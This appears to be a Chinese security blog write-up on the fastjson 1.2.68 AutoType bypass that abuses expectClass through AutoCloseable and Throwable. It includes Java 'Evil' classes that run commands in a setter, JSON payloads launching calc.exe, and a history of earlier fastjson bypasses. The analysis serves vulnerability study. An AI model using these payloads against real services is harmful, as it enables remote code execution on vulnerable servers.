漏洞描述

在fastjson 1.2.68版本中,新增了safeMode功能:
image-20250927160656008

在checkAutoType方法下,当safeMode为true,则直接抛出异常。它默认为false

而在该版本下,在关闭safeMode情况下利用expectClass添加mappings缓存无视AutoType进行反序列化

利用expectClass添加mapping缓存

新版本中当缓存找不到类时,同样会经过黑白名单校验,跟着往下走:

image-20250927164245739

当expectClassFlag为true会调用TypeUtils.loadClass方法

image-20250927164643263

而expectClassFlag与expectClass有关,当expectClass不为null及一些对象时为true,而expectClass为checkAutoType方法的第二个参数,前面版本DefaultJSONParser里调用时都默认为null

image-20250927165053807

这个版本也一样,且加了类型名称不能全为数字字符的限制,所以如果要利用还需要在反序列化时需要调用其他类的checkAutoType方法

继续跟着checkAutoType往下走:

image-20250927165211596

当利用loadclass加载到对象后,clazz是通过@type加载的对象,如果这个clazz是expectClass的实现类或子类,就会调用TypeUtils.addMapping将typeName缓存进mappings

那这里就有思路了,就是通过checkAutoType传入可控的expectClass,且加载的恶意对象是expectClass的实现类或子类,然后将恶意对象缓存进mappings,然后再触发即可

先解决第一个问题,就是需要要找到一个checkAutoType方法,其默认expectClass不为null且可控,这里全局搜索:

image-20250927170429416

可以看到有两处expectClass不为null,分别是JavaBeanDeserializer#deserialze方法和ThrowableDeserializer#deserialze方法

JavaBeanDeserializer

image-20250927173503508

这里调用了checkAutoType,同时需要注意这里typename的获取是通过解析@type值获取的,expectClass为deserialze方法传入对象的类型

首先我们要先调用JavaBeanDeserializer类的deserialze方法,即在一开始DefaultJSONParser类中执行deserializer.deserialze需要获取到JavaBeanDeserializer的反序列化器:
image-20250927183938563

而在getDeserializer方法中,如果要加载的类不是上面那些,就会通过createJavaBeanDeserializer方法创建一个JavaBeanDeserializer的反序列化器,所以我们可以找mappings缓存和deserializers存在的类,这里找到AutoCloseable类:
image-20250927184409839

1
"@type":"java.lang.AutoCloseable"

这时实现了第一步能调用JavaBeanDeserializer.deserialize方法了,且expectClass为deserialze方法传入对象的类型即AutoCloseable

所以我们需要找一个AutoCloseable的实现类或者子类且这个类的 getter/setter/static block/constructor 方法中含有具有威胁的代码逻辑,这里没找到直接构造一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.IOException;

public class Evil implements AutoCloseable{
private String cmd;
public Evil() {
super();
}

public void setCmd(String cmd) throws IOException {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
}
}

@Override
public void close() throws Exception {
}
}

payload:

1
2
String text = "{\"1\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Evil\"}," +
"\"2\":{\"@type\":\"Evil\",\"cmd\":\"calc.exe\"}}";

image-20250927190613044

ThrowableDeserializer

image-20250927190914222

ThrowableDeserializer同样调用了checkAutoType方法,且expectClass为Throwable.class,我们的恶意类exClassName同样是通过@type获得,且需要是Throwable.class的实现类或子类

同样看获取反序列化器:

image-20250927190804940

需要@type的类型为Throwable.class的实现类或子类,看下缓存中是否存在:

image-20250927191659391

image-20250927191644536

这里找到Exception类

我们还需要找一个Throwable的实现类或者子类且这个类的 getter/setter/static block/constructor 方法中含有具有威胁的代码逻辑,这里没找到直接构造一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;

public class Evil extends Throwable {
private String cmd;
public Evil() {
super();
}

public void setCmd(String cmd) throws IOException {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
}
}
}

payload:

1
2
String text = "{\"1\":{\"@type\":\"java.lang.Exception\",\"@type\":\"Evil\"}," +
"\"2\":{\"@type\":\"Evil\",\"cmd\":\"calc.exe\"}}";

image-20250927192326353

总的流程就是:

  • 先会通过TypeUtils.loadClass加载第一个@type的java.lang.Exception对象,第一次调用的是DefaultJSONParser的config.checkAutoType方法,第二个参数expectClass默认为null,然后加载对象后获取了Exception对象的反序列化器,这时获取了ThrowableDeserializer对象
  • 接着进行反序列化调用ThrowableDeserializer.deserialize方法,在该方法中又会获取@type的值作为需要加载的类,此时通过第二个@type获取我们的恶意类Evil,然后在ThrowableDeserializer中调用了checkAutoType方法且第一个参数为恶意类,第二个参数expectClass为Throwable对象
  • 进入checkAutoType方法后expectClassFlag由于expectClass满足条件值变为true,然后判断恶意类Evil为expectClass的实现类成功而将恶意类加入缓存
  • 最后反序列化第二个键值对的对象,由于我们恶意类Evil已经进入了缓存,所以加载该类调用setter方法实现RCE

Fastjson漏洞的对抗史

  1. 1.2.24版本
    • 没有任何过滤器,可以直接进行任何类进行反序列化攻击
    • 典型工具类:TemplatesImplJdbcRowSetImpl
  2. 1.2.25版本
    • 引入了checkAutoType机制,加入了黑白名单过滤。
    • AutoType机制开启
      • 先检查白名单,白名单中的类直接加载
      • 若不在白名单,继续检查黑名单,若不在黑名单,正常加载
    • AutoType机制关闭
      • 先检查黑名单,若类在黑名单中则抛出异常
      • 再检查白名单,若不在白名单则抛出异常
    • 但可以通过L...;或者[绕过
  3. 1.2.42版本
    • 加入对L;的检测,但可通过双写绕过,[不受影响
    • 黑白名单类名隐去,使用hashcode计算
  4. 1.2.43版本
    • 加入对LL;;的检测,但依旧能数组绕过
  5. 1.2.45版本
    • 黑名单机制问题:黑名单无法穷尽所有恶意类
  6. 1.2.47版本
    • AutoType1.2.25以后默认关闭,关闭时加载类的流程:
      • 先检查mappings缓存。
      • 在检查deserializers缓存过的类
    • 可通过像mappings中添加恶意类造成漏洞
  7. 1.2.68版本
    • 引入expectedClass机制,增加了防护,但仍存在逻辑漏洞:
      • 特别是针对Throwable类的防护不足。

参考

Java中Fastjson各版本漏洞对抗史与总结-先知社区

fastjson配合下的调用链

https://cloud.tencent.com/developer/article/1957185

https://blog.csdn.net/mole_exp/article/details/122315526

https://www.anquanke.com/post/id/232774

https://xz.aliyun.com/news/15984